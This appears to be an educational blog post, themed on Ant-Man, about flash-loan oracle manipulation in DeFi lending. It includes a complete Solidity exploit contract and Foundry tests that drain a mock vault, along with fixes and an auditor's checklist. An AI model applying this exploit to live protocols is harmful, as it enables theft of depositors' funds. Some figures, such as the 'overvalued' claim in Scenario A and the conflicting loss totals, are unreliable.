Logo
Overview
Ant-Man and the Giant Loan - Flash-Loan Oracle Manipulation

Ant-Man and the Giant Loan - Flash-Loan Oracle Manipulation

November 26, 2025
9 min read

Ant-Man and the Giant Loan - The $200M+ Flash-Loan Oracle Heist

Danger (Scott Lang didn’t break the vault.)

He just proved it was made of paper.

One flash loan.
One manipulated price.
One vault - gone.


TL;DR

Vulnerability: Using a single-block AMM spot price as oracle
Weapon: Flash loan → infinite liquidity for 1 tx
Result:

  • Liquidate anyone
  • Borrow infinite money
  • Drain entire vault (Scenario B)

Real losses: $200M+ (Euler, Mango, Nirvana…)

Fix: TWAP · Chainlink · borrow caps · circuit breakers


🎬 Story Time - The Quantum Heist

Scott Lang is broke.

Then he finds QuantumRealmBank - unlimited flash loans.

Meanwhile, StarkVault trusts PymDEX for collateral prices.

PymDEX price = RB/RAR_{B} / R_{A} (Current spot price)

Ant-Man sees it.

He goes quantum.

The Two Ways to Win

ScenarioFlash-loan TokenAttack GoalResult
A - Liquidation + FailTokenA (Collateral)Manipulate collateral price downLiquidate victim → repay fails (slippage)
B - Pure ProfitTokenB (Borrow Asset)Manipulate collateral price upVault fully drained - no slippage trap

Scenario B is the killer.
That’s how Euler lost $197M in one transaction.


Attack Flow

  1. Ant-Man takes flash loan (TokenA in Scenario A, TokenB in Scenario B).
  2. He swaps aggressively on PymDEX, skewing spot price.
  3. Calls StarkVault while price is manipulated:
    • Liquidates Wasp in Scenario A.
    • Attempts over-borrow (fails in A, succeeds in B).
  4. Swaps back to repay flash loan.
  5. Repays loan if possible → keeps profit.

Example Values

  • Initial reserves: PymDEX reserves:

    • TokenA: 1,000
    • TokenB: 1,000
  • Scenario A (borrow TokenA flash loan):

    • Borrow 500 TokenA → swap to TokenB.
    • Output ≈ 333 TokenB.
    • New reserves: 1,500A : 667B.
    • Price skew: 667 / 1500 ≈ 0.445 → vault thinks TokenA collateral is overvalued.
    • Liquidation succeeds, but over-borrow fails (slippage prevents repaying 500A).
  • Scenario B (borrow TokenB flash loan):

    • Borrow 500 TokenB → swap to TokenA.
    • Output ≈ 333 TokenA.
    • New reserves: 667A : 1500B.
    • Price skew: 1500 / 667 ≈ 2.25.
    • Over-borrow succeeds → vault drained atomically.

Flash Loan Exploit Flow

The Vulnerable Trio

PymDEX.sol
13 collapsed lines
contract PymDEX {
MockERC20 public tokenA;
MockERC20 public tokenB;
uint256 public reserveA;
uint256 public reserveB;
constructor(address _a, address _b, uint256 a, uint256 b) {
tokenA = MockERC20(_a);
tokenB = MockERC20(_b);
reserveA = a;
reserveB = b;
}
function getPymPrice(address, address) external view returns (uint256) {
if (reserveA == 0) return 0;
return (reserveB * 1e18) / reserveA;
}
25 collapsed lines
function swapExactAForB(uint256 amountAIn, address to) external {
require(tokenA.transferFrom(msg.sender, address(this), amountAIn), "transferFrom A");
// AMM output calculation (educational only)
uint256 amountBOut = (reserveB * amountAIn) / (reserveA + amountAIn);
reserveA += amountAIn;
require(reserveB >= amountBOut, "insufficient reserveB");
reserveB -= amountBOut;
require(tokenB.transfer(to, amountBOut), "transfer B");
}
function swapExactBForA(uint256 amountBIn, address to) external {
require(tokenB.transferFrom(msg.sender, address(this), amountBIn), "transferFrom B");
// AMM output calculation (educational only)
uint256 amountAOut = (reserveA * amountBIn) / (reserveB + amountBIn);
reserveB += amountBIn;
require(reserveA >= amountAOut, "insufficient reserveA");
reserveA -= amountAOut;
require(tokenA.transfer(to, amountAOut), "transfer A");
}
function fund(uint256 a, uint256 b) external {
reserveA += a;
reserveB += b;
}
}
StarkVault.sol
24 collapsed lines
interface IPymPrice {
function getPymPrice(address tokenA, address tokenB) external view returns (uint256);
}
contract StarkVault {
MockERC20 public collateral; // tokenA
MockERC20 public borrowToken; // tokenB
IPymPrice public pym;
mapping(address => uint256) public collateralBalance;
mapping(address => uint256) public debt;
uint256 public constant LTV_PERCENT = 50;
constructor(address _collateral, address _borrow, address _pym) {
collateral = MockERC20(_collateral);
borrowToken = MockERC20(_borrow);
pym = IPymPrice(_pym);
}
function depositCollateral(uint256 amount) external {
require(amount > 0, "zero");
require(collateral.transferFrom(msg.sender, address(this), amount), "transferFrom");
collateralBalance[msg.sender] += amount;
}
/// @notice Borrow TokenB against collateral, using spot price (vulnerable)
/// @dev Uses PymDEX spot price, which can be manipulated in a flash loan
function borrow(uint256 amount) external {
require(amount > 0, "zero");
uint256 price = pym.getPymPrice(address(collateral), address(borrowToken)); // spot price (vulnerable)
uint256 collateralValue = (collateralBalance[msg.sender] * price) / 1e18;
require(collateralValue * LTV_PERCENT / 100 >= debt[msg.sender] + amount, "undercollateralized");
debt[msg.sender] += amount;
require(borrowToken.transfer(msg.sender, amount), "transfer borrow");
}
10 collapsed lines
function liquidate(address user) external {
uint256 price = pym.getPymPrice(address(collateral), address(borrowToken));
uint256 collateralValue = (collateralBalance[user] * price) / 1e18;
require(collateralValue * LTV_PERCENT / 100 < debt[user], "not liquidatable");
uint256 seized = collateralBalance[user];
collateralBalance[user] = 0;
require(collateral.transfer(msg.sender, seized), "transfer seized");
}
}
QuantumRealmBank.sol
13 collapsed lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./MockERC20.sol";
/// @notice Flash loan provider for one-block liquidity (used for exploit demonstration)
contract QuantumRealmBank {
MockERC20 public token;
constructor(address _token) {
token = MockERC20(_token);
}
/// @notice Execute a flash loan (must be repaid in same tx)
/// @dev Used to simulate one-transaction attacks in tests
function flashLoan(uint256 amount, address borrower, bytes calldata data) external {
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= amount, "not enough liquidity");
// Send loan to borrower
require(token.transfer(borrower, amount), "transfer failed");
// Call borrower contract (attack logic runs here)
(bool success,) = borrower.call(data);
require(success, "borrower call failed");
// Require loan repayment
uint256 balanceAfter = token.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "loan not repaid");
}
}

Three contracts.
One transaction.
One ruined protocol.


The Heist

AntManExploit.sol
23 collapsed lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {PymDEX} from "./PymDEX.sol";
import {StarkVault} from "./StarkVault.sol";
import {MockERC20} from "./MockERC20.sol";
/// @notice Demonstrates flash-loan + naive oracle manipulation attacks.
contract AntManExploit {
PymDEX public pym;
StarkVault public vault;
MockERC20 public tokenA;
MockERC20 public tokenB;
address payable public owner;
constructor(address _pym, address _vault, address _tokenA, address _tokenB, address payable _owner) {
pym = PymDEX(_pym);
vault = StarkVault(_vault);
tokenA = MockERC20(_tokenA);
tokenB = MockERC20(_tokenB);
owner = _owner;
}
/// @notice Execute flash-loan exploit for a given scenario
/// @param loanAmount Amount of token to borrow in flash-loan
/// @param wasp Victim address
/// @param scenario 0 = liquidation, 1 = over-borrow fail, 2 = over-borrow success
function execute(uint256 loanAmount, address wasp, uint8 scenario) external {
if (scenario == 0) _scenarioLiquidation(loanAmount, wasp);
else if (scenario == 1) _scenarioOverBorrowFail(loanAmount, wasp);
else if (scenario == 2) _scenarioOverBorrowSuccess(loanAmount, wasp);
else revert("invalid scenario");
}
/// @dev Scenario 0: Successful liquidation using flash-loan
function _scenarioLiquidation(uint256 loanAmount, address wasp) internal {
tokenA.approve(address(pym), loanAmount);
pym.swapExactAForB(loanAmount, address(this));
vault.liquidate(wasp);
_finalize(tokenA, loanAmount);
}
/// @dev Scenario 1: Over-borrow fails due to AMM slippage
function _scenarioOverBorrowFail(
uint256 loanAmount,
address /*wasp*/
)
internal
{
// Swap TokenA → TokenB; slippage reduces collateral value, over-borrow fails to repay loan
tokenA.approve(address(pym), loanAmount);
pym.swapExactAForB(loanAmount, address(this));
_tryOverBorrow();
_finalize(tokenA, loanAmount);
}
/// @dev Scenario 2: Over-borrow succeeds by using TokenB flash-loan
function _scenarioOverBorrowSuccess(
uint256 loanAmount,
address /*wasp*/
)
internal
{
// Borrow TokenB instead of TokenA → avoids slippage trap, over-borrow succeeds
tokenB.approve(address(pym), loanAmount);
pym.swapExactBForA(loanAmount, address(this));
_tryOverBorrow();
_finalize(tokenB, loanAmount);
}
/// @dev Attempt over-borrow from vault using current collateral
function _tryOverBorrow() internal {
uint256 tokenAAfter = tokenA.balanceOf(address(this));
if (tokenAAfter > 0) {
tokenA.approve(address(vault), tokenAAfter);
vault.depositCollateral(tokenAAfter);
uint256 price = pym.getPymPrice(address(tokenA), address(tokenB));
uint256 maxBorrow = (((tokenAAfter * price) / 1e18) * 50) / 100; // LTV 50%
vault.borrow(maxBorrow);
}
}
/// @dev Swap back tokens if needed and repay flash-loan
function _finalize(MockERC20 loanToken, uint256 loanAmount) internal {
if (address(loanToken) == address(tokenA)) {
_swapBackAndRepay(tokenB, tokenA, loanAmount);
} else if (address(loanToken) == address(tokenB)) {
_swapBackAndRepay(tokenA, tokenB, loanAmount);
}
// Send remaining TokenB as profit to attacker
uint256 profitB = tokenB.balanceOf(address(this));
if (profitB > 0) {
tokenB.transfer(owner, profitB);
}
}
/// @dev Swaps enough tokens back to repay the flash-loan.
/// @notice This function uses a binary search to find the minimum
/// input amount needed to swap and generate enough output tokens
/// to cover the flash-loan repayment. This optimizes the attacker's profit
/// by minimizing slippage on the return swap.
function _swapBackAndRepay(MockERC20 swapFrom, MockERC20 repayToken, uint256 loanAmount) internal {
uint256 repayAmount = loanAmount;
uint256 repayBalance = repayToken.balanceOf(address(this));
if (repayBalance < repayAmount) {
uint256 needed = repayAmount - repayBalance;
uint256 swapBalance = swapFrom.balanceOf(address(this));
uint256 left = 1;
uint256 right = swapBalance;
uint256 minSwap = right;
bool enough = false;
while (left <= right) {
uint256 mid = (left + right) / 2;
uint256 out;
if (address(repayToken) == address(tokenA)) {
out = (pym.reserveA() * mid) / (pym.reserveB() + mid);
} else {
out = (pym.reserveB() * mid) / (pym.reserveA() + mid);
}
if (out >= needed) {
minSwap = mid;
right = mid - 1;
enough = true;
} else {
left = mid + 1;
}
}
if (enough) {
swapFrom.approve(address(pym), minSwap);
if (address(repayToken) == address(tokenA)) pym.swapExactBForA(minSwap, address(this));
else pym.swapExactAForB(minSwap, address(this));
} else if (swapBalance > 0) {
swapFrom.approve(address(pym), swapBalance);
if (address(repayToken) == address(tokenA)) pym.swapExactBForA(swapBalance, address(this));
else pym.swapExactAForB(swapBalance, address(this));
}
}
// Transfer repayment
uint256 repayFinal =
repayToken.balanceOf(address(this)) < repayAmount ? repayToken.balanceOf(address(this)) : repayAmount;
if (repayFinal > 0) {
repayToken.transfer(msg.sender, repayFinal);
}
}
}

Profit: millions of TokenB
Cost: 1 wei + gas


Foundry Tests

testScenarioB_DrainVault()
41 collapsed lines
contract PymFlashLoan is Test {
MockERC20 tokenA;
MockERC20 tokenB;
PymDEX pym;
StarkVault vault;
AntManExploit exploit;
QuantumRealmBank qrbA;
address wasp = makeAddr("Wasp");
address attacker = makeAddr("Attacker");
function setUp() public {
// Deploy tokens
tokenA = new MockERC20("TokenA", "A");
tokenB = new MockERC20("TokenB", "B");
// Deploy DEX
pym = new PymDEX(address(tokenA), address(tokenB), 1_000_000 ether, 1_000_000 ether);
tokenA.mint(address(pym), 1_000_000 ether);
tokenB.mint(address(pym), 1_000_000 ether);
// Deploy Vault
vault = new StarkVault(address(tokenA), address(tokenB), address(pym));
tokenB.mint(address(vault), 100_000 ether);
// Deploy flash loan bank for TokenA
qrbA = new QuantumRealmBank(address(tokenA));
tokenA.mint(address(qrbA), 1_000_000 ether);
// Setup victim
tokenA.mint(wasp, 10_000 ether);
vm.startPrank(wasp);
tokenA.approve(address(vault), 10_000 ether);
vault.depositCollateral(10_000 ether);
vault.borrow(5_000 ether); // initial debt
vm.stopPrank();
// Deploy exploit contract
exploit = new AntManExploit(address(pym), address(vault), address(tokenA), address(tokenB), payable(attacker));
}
// Scenario A: Liquidation succeeds
function testScenarioA_LiquidationSuccess() public {
bytes memory data = abi.encodeWithSelector(AntManExploit.execute.selector, 500_000 ether, wasp, 0);
vm.prank(attacker);
qrbA.flashLoan(500_000 ether, address(exploit), data);
// Wasp collateral should be seized
assertEq(vault.collateralBalance(wasp), 0);
}
// Scenario A: Over-borrow fails due to AMM slippage
function testScenarioA_OverBorrowFails() public {
bytes memory data = abi.encodeWithSelector(AntManExploit.execute.selector, 500_000 ether, wasp, 1);
vm.expectRevert("loan not repaid");
vm.prank(attacker);
qrbA.flashLoan(500_000 ether, address(exploit), data);
}
// Scenario B: Over-borrow succeeds using TokenB flash loan
function testScenarioB_OverBorrowSucceeds() public {
// Deploy flash loan bank for TokenB
QuantumRealmBank qrbB = new QuantumRealmBank(address(tokenB));
tokenB.mint(address(qrbB), 1_000_000 ether);
// Mint enough TokenB to the Vault to allow over-borrow
tokenB.mint(address(vault), 1_000_000 ether);
// Give exploit contract extra TokenA to repay swap-back
tokenA.mint(address(exploit), 500_000 ether);
bytes memory data = abi.encodeWithSelector(AntManExploit.execute.selector, 500_000 ether, wasp, 2);
vm.prank(attacker);
qrbB.flashLoan(500_000 ether, address(exploit), data);
// Attacker should have profit in TokenB
assertGt(tokenB.balanceOf(attacker), 0);
console.log("Attacker TokenB profit:", tokenB.balanceOf(attacker));
}
}

One forge test → one vault destroyed.


The Fix - Be Aave, Not StarkVault

// Chainlink
price = chainlink.latestAnswer();
// Uniswap V3 TWAP
price = oracle.observe(1800); // 30 min average
// Borrow caps
require(amount <= maxBorrowPerBlock, "cap");
// Circuit breaker
if (price > lastPrice * 2) revert("deviation");

And always:

require(invariantHolds(), "broken");

Real-World Body Count

ProtocolYearLossMethod
Euler2023$197MFlash-loan + bad oracle
Mango2022$110MPrice manipulation
Nirvana2022$3.5MFlash-loan liquidation

Total: $300M+ and growing.


Auditor’s Checklist

Warning
  • Price from AMM without TWAP? → Critical
  • No borrow/withdraw caps? → High
  • No invariant checks around external calls? → High
  • Tested with 10,000× liquidity flash loans? → Mandatory
  • Using single oracle? → Add redundancy

Quiz - Are You Quantum-Proof?

Exercise (Why does Scenario B drain the vault but A fails?)

a) TokenB has no slippage
b) Swapping the borrowed token avoids the manipulation penalty
c) TokenB is the collateral
d) Magic

Answer

b) Direction matters - pump the price of what you’re borrowing against

Exercise (Best production fix 2025?)

a) Add timelock
b) Chainlink + TWAP + caps + breaker
c) Ban flash loans
d) Use spot price

Answer

b) Multiple defense layers

Tip

Full repo - 5 contracts, 2 scenarios, exploit + fix:
github.com/thesandf/thesandf.xyz

Ant-Man didn’t need strength.

He just needed one block and one bad oracle.

Don’t be StarkVault.

Be Aave.
Be Chainlink.
Be paranoid.

Or Ant-Man will shrink your treasury to zero.